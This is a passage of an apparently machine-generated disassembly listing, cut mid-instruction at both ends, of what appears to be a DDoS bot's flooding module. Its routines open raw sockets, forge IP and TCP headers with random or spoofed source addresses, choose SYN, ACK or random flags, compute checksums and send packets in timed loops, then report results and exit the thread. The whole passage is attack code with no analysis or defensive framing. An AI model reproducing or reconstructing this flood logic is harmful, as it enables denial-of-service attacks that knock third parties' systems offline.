[esp+14h+arg_8] mov ebx, eax call sub_41BDE9 mov esi, eax push esi push ebx push edi call sub_41448F add esp, 18h test eax, eax jnz short loc_41457D inc eax loc_41457D: ; CODE XREF: sub_414549+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_414549 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41458C proc near ; DATA XREF: sub_401AA1+632Ao var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_4148D9 push eax lea eax, [ebp+var_414] push offset unk_439D14 push eax call sub_41BEF6 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_414609 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_409743 add esp, 14h loc_414609: ; CODE XREF: sub_41458C+5Bj lea eax, [ebp+var_414] push eax call sub_415F45 push [ebp+var_10] call sub_40B56A pop ecx pop ecx push esi call dword_4280D4 ; ExitThread pop edi pop esi sub_41458C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414628 proc near ; CODE XREF: sub_4148D9+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CE278 ; WSAStartup test eax, eax jz short loc_414668 xor eax, eax jmp loc_4148AC ; --------------------------------------------------------------------------- loc_414668: ; CODE XREF: sub_414628+37j xor edi, edi inc edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CE3AC ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_4148A4 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CE2E8 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_41489A push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CE308 ; ntohs mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CE308 ; ntohs push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CE308 ; ntohs push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CE308 ; ntohs mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call dword_428140 ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call dword_42813C ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D920 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_414753: ; CODE XREF: sub_414628+25Dj ; sub_414628+269j mov [ebp+var_24], bx call sub_41BF52 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CE308 ; ntohs mov [ebp+var_34], ax call sub_41BF52 mov edi, eax shl edi, 10h call sub_41BF52 or edi, eax push edi call dword_4CE308 ; ntohs movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CE304 ; ntohl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CE308 ; ntohs mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41C9B0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call near ptr sub_41C9B0 lea eax, [ebp+var_B4] push 34h push eax call sub_40A92E mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41C9B0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call near ptr sub_41C9B0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BC00 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40A92E mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41C9B0 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CE36C ; sendto cmp eax, 0FFFFFFFFh jz short loc_4148B0 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call dword_42813C ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_414897 jl loc_414753 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jb loc_414753 loc_414897: ; CODE XREF: sub_414628+25Bj mov ebx, [ebp+arg_8] loc_41489A: ; CODE XREF: sub_414628+78j ; sub_414628+2AFj push [ebp+var_C] call dword_4CE3A0 ; closesocket pop esi loc_4148A4: ; CODE XREF: sub_414628+5Bj call dword_4CE260 ; WSACleanup mov eax, ebx loc_4148AC: ; CODE XREF: sub_414628+3Bj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4148B0: ; CODE XREF: sub_414628+247j call dword_4CE29C ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset unk_439D3C push eax call sub_41BEF6 lea eax, [ebp+var_F4] push eax call sub_415F45 add esp, 10h jmp short loc_41489A sub_414628 endp ; =============== S U B R O U T I N E ======================================= sub_4148D9 proc near ; CODE XREF: sub_41458C+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40A7C5 push [esp+10h+arg_4] mov esi, eax call sub_41BDE9 push [esp+14h+arg_8] mov ebx, eax call sub_41BDE9 mov edi, eax call sub_41BF52 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_414628 add esp, 1Ch test eax, eax jnz short loc_414922 inc eax loc_414922: ; CODE XREF: sub_4148D9+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4148D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414931 proc near ; DATA XREF: sub_401AA1+6C9Bo var_394 = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+var_110] push eax call sub_41BDE9 pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4CE348 ; inet_addr push eax call sub_4149D2 push eax lea eax, [ebp+var_394] push offset dword_439D5C push eax call sub_41BEF6 xor esi, esi add esp, 14h cmp [ebp+var_8], esi jnz short loc_4149B3 push esi lea eax, [ebp+var_394] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_194] call sub_409743 add esp, 14h loc_4149B3: ; CODE XREF: sub_414931+60j lea eax, [ebp+var_394] push eax call sub_415F45 push [ebp+var_10] call sub_40B56A pop ecx pop ecx push esi call dword_4280D4 ; ExitThread pop edi pop esi sub_414931 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4149D2 proc near ; CODE XREF: sub_414931+41p var_98 = word ptr -98h var_96 = word ptr -96h var_94 = dword ptr -94h var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 98h push ebx push esi push edi and [ebp+var_88], 0 push 4 and [ebp+var_58], 0 pop esi xor ecx, ecx push 6 inc ecx pop edx mov ebx, 0FFh xor eax, eax lea edi, [ebp+var_54] mov [ebp+var_84], ecx mov [ebp+var_80], 2 mov [ebp+var_7C], esi mov [ebp+var_78], edx mov [ebp+var_74], 8 mov [ebp+var_70], 0Ch mov [ebp+var_6C], 11h mov [ebp+var_68], 16h mov [ebp+var_64], 29h mov [ebp+var_60], 3Ah mov [ebp+var_5C], ebx mov [ebp+var_50], eax stosd lea edi, [ebp+var_2C] mov [ebp+var_4C], eax mov [ebp+var_48], eax mov [ebp+var_44], 2000h mov [ebp+var_40], esi mov [ebp+var_3C], edx mov [ebp+var_38], 3FFFh mov [ebp+var_34], ecx mov [ebp+var_30], eax mov [ebp+var_28], ecx stosd mov edi, 100h push edi call sub_41D635 pop ecx mov [ebp+var_4], eax push edi push eax call dword_4CE31C ; gethostname push [ebp+var_4] call dword_4CE38C ; gethostbyname mov eax, [eax+0Ch] push ebx push 3 push 2 mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax call dword_4CE388 ; socket lea ecx, [ebp+var_28] push esi push ecx push 2 push 0 push eax mov [ebp+var_4], eax call dword_4CE2E8 ; setsockopt mov esi, 200h push esi call sub_41BB45 mov edi, dword_4280B0 pop ecx mov [ebp+var_8], eax call edi ; GetTickCount mov [ebp+var_10], eax mov eax, [ebp+arg_0] push 29Ah mov [ebp+var_94], eax mov [ebp+var_98], 2 call dword_4CE308 ; ntohs mov [ebp+var_96], ax jmp loc_414BBC ; --------------------------------------------------------------------------- loc_414AF2: ; CODE XREF: sub_4149D2+1FBj call sub_41BF52 cdq mov ecx, ebx idiv ecx mov eax, [ebp+var_C] and eax, 0FFFFFFh shl edx, 18h or edx, eax mov [ebp+var_C], edx call sub_41BF52 cdq mov ecx, ebx idiv ecx mov [ebp+var_54], edx call sub_41BF52 cdq mov ecx, 1FA4h mov [ebp+var_24], 45h idiv ecx mov [ebp+var_23], 4 mov [ebp+var_2C], edx call sub_41BF52 mov [ebp+var_20], ax call sub_41BF52 push 0Ah cdq pop ecx idiv ecx mov ax, word ptr [ebp+edx*4+var_50] push eax call dword_4CE308 ; ntohs push esi mov [ebp+var_1E], ax call dword_4CE308 ; ntohs mov [ebp+var_22], ax mov [ebp+var_1C], bl call sub_41BF52 push 0Eh cdq pop ecx idiv ecx push 14h mov al, byte ptr [ebp+edx*4+var_88] mov [ebp+var_1B], al mov eax, [ebp+var_C] mov [ebp+var_18], eax mov eax, [ebp+arg_0] mov [ebp+var_14], eax lea eax, [ebp+var_24] push eax call sub_40A92E mov [ebp+var_1A], ax lea eax, [ebp+var_24] push 14h push eax push [ebp+var_8] call near ptr sub_41C9B0 add esp, 14h lea eax, [ebp+var_98] push 10h push eax push 0 push esi push [ebp+var_8] push [ebp+var_4] call dword_4CE36C ; sendto loc_414BBC: ; CODE XREF: sub_4149D2+11Bj call edi ; GetTickCount sub eax, [ebp+var_10] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+arg_4] jbe loc_414AF2 push [ebp+var_8] call sub_41B721 pop ecx push [ebp+var_4] call dword_4CE3A0 ; closesocket xor eax, eax pop edi pop esi inc eax pop ebx leave retn sub_4149D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414BED proc near ; DATA XREF: sub_401AA1+52F1o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd xor esi, esi push 0Eh inc esi xor ebx, ebx mov [eax+19Ch], esi pop ecx xor eax, eax lea edi, [ebp+var_9F] mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, dword_4280B0 call edi ; GetTickCount push eax call sub_41BF48 pop ecx push 0FFh push 3 push 2 call dword_4CE388 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_414CB6 call dword_4CE29C ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset unk_439E78 push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_414C96 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409743 add esp, 14h loc_414C96: ; CODE XREF: sub_414BED+84j lea eax, [ebp+var_440] push eax call sub_415F45 push [ebp+var_BC] call sub_40B56A pop ecx pop ecx push ebx call dword_4280D4 ; ExitThread loc_414CB6: ; CODE XREF: sub_414BED+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_4CE2E8 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_414D34 call dword_4CE29C ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset unk_439E40 push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_414D14 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409743 add esp, 14h loc_414D14: ; CODE XREF: sub_414BED+102j lea eax, [ebp+var_440] push eax call sub_415F45 push [ebp+var_BC] call sub_40B56A pop ecx pop ecx push ebx call dword_4280D4 ; ExitThread loc_414D34: ; CODE XREF: sub_414BED+DFj lea eax, [ebp+var_23C] push eax call dword_4CE348 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_414DA4 lea eax, [ebp+var_440] push offset unk_439E20 push eax call sub_41BEF6 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_414D84 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409743 add esp, 14h loc_414D84: ; CODE XREF: sub_414BED+172j lea eax, [ebp+var_440] push eax call sub_415F45 push [ebp+var_BC] call sub_40B56A pop ecx pop ecx push ebx call dword_4280D4 ; ExitThread loc_414DA4: ; CODE XREF: sub_414BED+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_4CE308 ; ntohs mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_4CE348 ; inet_addr mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi ; GetTickCount mov [ebp+var_30], eax jmp loc_41500C ; --------------------------------------------------------------------------- loc_414DE1: ; CODE XREF: sub_414BED+433j push 28h mov [ebp+var_2C], 45h call dword_4CE308 ; ntohs cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_414E3A call sub_41BF52 mov esi, eax shl esi, 8 call sub_41BF52 add esi, eax shl esi, 8 call sub_41BF52 add esi, eax shl esi, 8 call sub_41BF52 add esi, eax mov [ebp+var_20], esi xor esi, esi inc esi jmp short loc_414E50 ; --------------------------------------------------------------------------- loc_414E3A: ; CODE XREF: sub_414BED+21Ej push [ebp+var_240] call sub_40A8D5 pop ecx push eax call dword_4CE348 ; inet_addr mov [ebp+var_20], eax loc_414E50: ; CODE XREF: sub_414BED+24Bj mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_414E6E call sub_41BF52 cdq mov ecx, 401h idiv ecx push edx jmp short loc_414E74 ; --------------------------------------------------------------------------- loc_414E6E: ; CODE XREF: sub_414BED+26Fj push [ebp+var_B8] loc_414E74: ; CODE XREF: sub_414BED+27Fj call dword_4CE308 ; ntohs mov [ebp+var_16], ax call sub_41BF52 cdq mov ecx, 401h idiv ecx push edx call dword_4CE308 ; ntohs push 12345678h mov [ebp+var_18], ax call dword_4CE304 ; ntohl mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn ; "syn" push eax call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_414EC4 mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_414F20 ; --------------------------------------------------------------------------- loc_414EC4: ; CODE XREF: sub_414BED+2CCj lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_414EE4 mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_414F20 ; --------------------------------------------------------------------------- loc_414EE4: ; CODE XREF: sub_414BED+2ECj lea eax, [ebp+var_1BC] push offset aRandom_0 ; "random" push eax call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_414F20 call sub_41BF52 push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_41BF52 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_414F20: ; CODE XREF: sub_414BED+2D5j ; sub_414BED+2F5j ... push 200h mov [ebp+var_C], 50h call dword_4CE308 ; ntohs mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_4CE308 ; ntohs mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call near ptr sub_41C9B0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call near ptr sub_41C9B0 lea eax, [ebp+var_A0] push 34h push eax call sub_40A92E mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call near ptr sub_41C9B0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call near ptr sub_41C9B0 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_41BC00 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40A92E mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call near ptr sub_41C9B0 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_4CE36C ; sendto cmp eax, 0FFFFFFFFh jz loc_4150B7 inc [ebp+arg_0] loc_41500C: ; CODE XREF: sub_414BED+1EFj call edi ; GetTickCount sub eax, [ebp+var_30] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+var_B4] jbe loc_414DE1 push [ebp+var_4] call dword_4CE3A0 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset unk_439DD0 push eax call sub_41BEF6 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_415097 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409743 add esp, 14h loc_415097: ; CODE XREF: sub_414BED+485j lea eax, [ebp+var_440] push eax call sub_415F45 push [ebp+var_BC] call sub_40B56A pop ecx pop ecx push ebx call dword_4280D4 ; ExitThread loc_4150B7: ; CODE XREF: sub_414BED+416j push [ebp+var_4] call dword_4CE3A0 ; closesocket call dword_4CE29C ; WSAGetLastError push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset unk_439D80 lea eax, [ebp+var_440] push 200h push eax call sub_41BFF0 add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_415115 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409743 add esp, 14h loc_415115: ; CODE XREF: sub_414BED+503j lea eax, [ebp+var_440] push eax call sub_415F45 push [ebp+var_BC] call sub_40B56A pop ecx pop ecx push ebx call dword_4280D4 ; ExitThread sub_414BED endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415135 proc near ; CODE XREF: sub_41523E+196p ; sub_41523E+1FFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] push esi xor esi, esi cmp ecx, 1 mov [ebp+arg_4], esi jle short loc_415163 lea eax, [ecx-2] push edi shr eax, 1 inc eax lea edi, [eax+eax] sub ecx, edi loc_415155: ; CODE XREF: sub_415135+28j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec eax jnz short loc_415155 pop edi cmp ecx, 1 loc_415163: ; CODE XREF: sub_415135+12j jnz short loc_415170 mov al, [edx] mov byte ptr [ebp+arg_4], al movzx eax, word ptr [ebp+arg_4] add esi, eax loc_415170: ; CODE XREF: sub_415135:loc_415163j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn sub_415135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415189 proc near ; DATA XREF: sub_401AA1+6BCAo var_394 = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+var_110] push eax call sub_41BDE9 pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4CE348 ; inet_addr push eax lea esi, [ebp+var_194] sub esp, 194h push 65h pop ecx mov edi, esp rep movsd call sub_41523E push eax lea eax, [ebp+var_394] push offset unk_439EAC push eax call sub_41BEF6 xor esi, esi add esp, 1A8h cmp [ebp+var_8], esi jnz short loc_415221 push esi lea eax, [ebp+var_394] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_194] call sub_409743 add esp, 14h loc_415221: ; CODE XREF: sub_415189+76j lea eax, [ebp+var_394] push eax call sub_415F45 push [ebp+var_10] call sub_40B56A pop ecx pop ecx push esi call dword_4280D4 ; ExitThread sub_415189 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41523E proc near ; CODE XREF: sub_415189+54p var_C8 = byte ptr -0C8h var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_9E = word ptr -9Eh var_9C = byte ptr -9Ch var_88 = byte ptr -88h var_74 = word ptr -74h var_72 = word ptr -72h var_70 = dword ptr -70h var_64 = byte ptr -64h var_60 = byte ptr -60h var_5F = byte ptr -5Fh var_5E = byte ptr -5Eh var_54 = dword ptr -54h var_50 = byte ptr -50h var_4E = word ptr -4Eh var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = word ptr -46h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_24 = byte ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_194 = dword ptr 19Ch arg_198 = dword ptr 1A0h push ebp mov ebp, esp sub esp, 0C8h and [ebp+var_4], 0 push ebx push esi mov esi, dword_4280B0 push edi call esi ; GetTickCount push 0FFh push 3 push 2 mov [ebp+var_C], eax call dword_4CE388 ; socket mov [ebp+var_8], eax call esi ; GetTickCount push eax call sub_41BF48 pop ecx mov ebx, 578h push ebx push 9 push 1 call sub_418D19 pop ecx pop ecx push eax lea eax, [ebp+var_24] push eax call sub_41BC00 add esp, 0Ch mov esi, 5A0h loc_415297: ; CODE XREF: sub_41523E+224j call dword_4280B0 ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_198] ja loc_415467 cmp dword_4D1A8C, 0 jnz short loc_415316 push 10h pop eax mov [ebp+var_10], eax push eax lea eax, [ebp+var_64] push 0 push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_64] push eax push [ebp+arg_0] call dword_4CE2AC ; getsockname push 0FFh push 1 call sub_418D19 push eax movzx eax, [ebp+var_5E] push eax movzx eax, [ebp+var_5F] push eax movzx eax, [ebp+var_60] push eax lea eax, [ebp+var_C8] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax call sub_41BEF6 add esp, 20h jmp short loc_415329 ; --------------------------------------------------------------------------- loc_415316: ; CODE XREF: sub_41523E+7Ej lea eax, [ebp+var_C8] push offset dword_4D1470 push eax call sub_41C520 pop ecx pop ecx loc_415329: ; CODE XREF: sub_41523E+D6j lea eax, [ebp+var_C8] push eax call dword_4CE348 ; inet_addr mov edi, eax mov eax, [ebp+var_54] and al, 45h push esi or al, 45h mov [ebp+var_50], 10h mov [ebp+var_54], eax call dword_4CE308 ; ntohs mov [ebp+var_4E], ax call sub_41BF52 and [ebp+var_46], 0 mov [ebp+var_4C], ax mov eax, [ebp+arg_194] mov [ebp+var_4A], 40h mov [ebp+var_48], 40h mov [ebp+var_47], 6 mov [ebp+var_44], edi mov [ebp+var_40], eax call sub_41BF52 mov [ebp+var_3C], ax call sub_41BF52 mov [ebp+var_3A], ax call sub_41BF52 mov [ebp+var_38], eax call sub_41BF52 mov [ebp+var_34], eax mov eax, [ebp+var_30] and al, 50h mov edi, [ebp+var_40] or al, 50h and [ebp+var_2A], 0 and 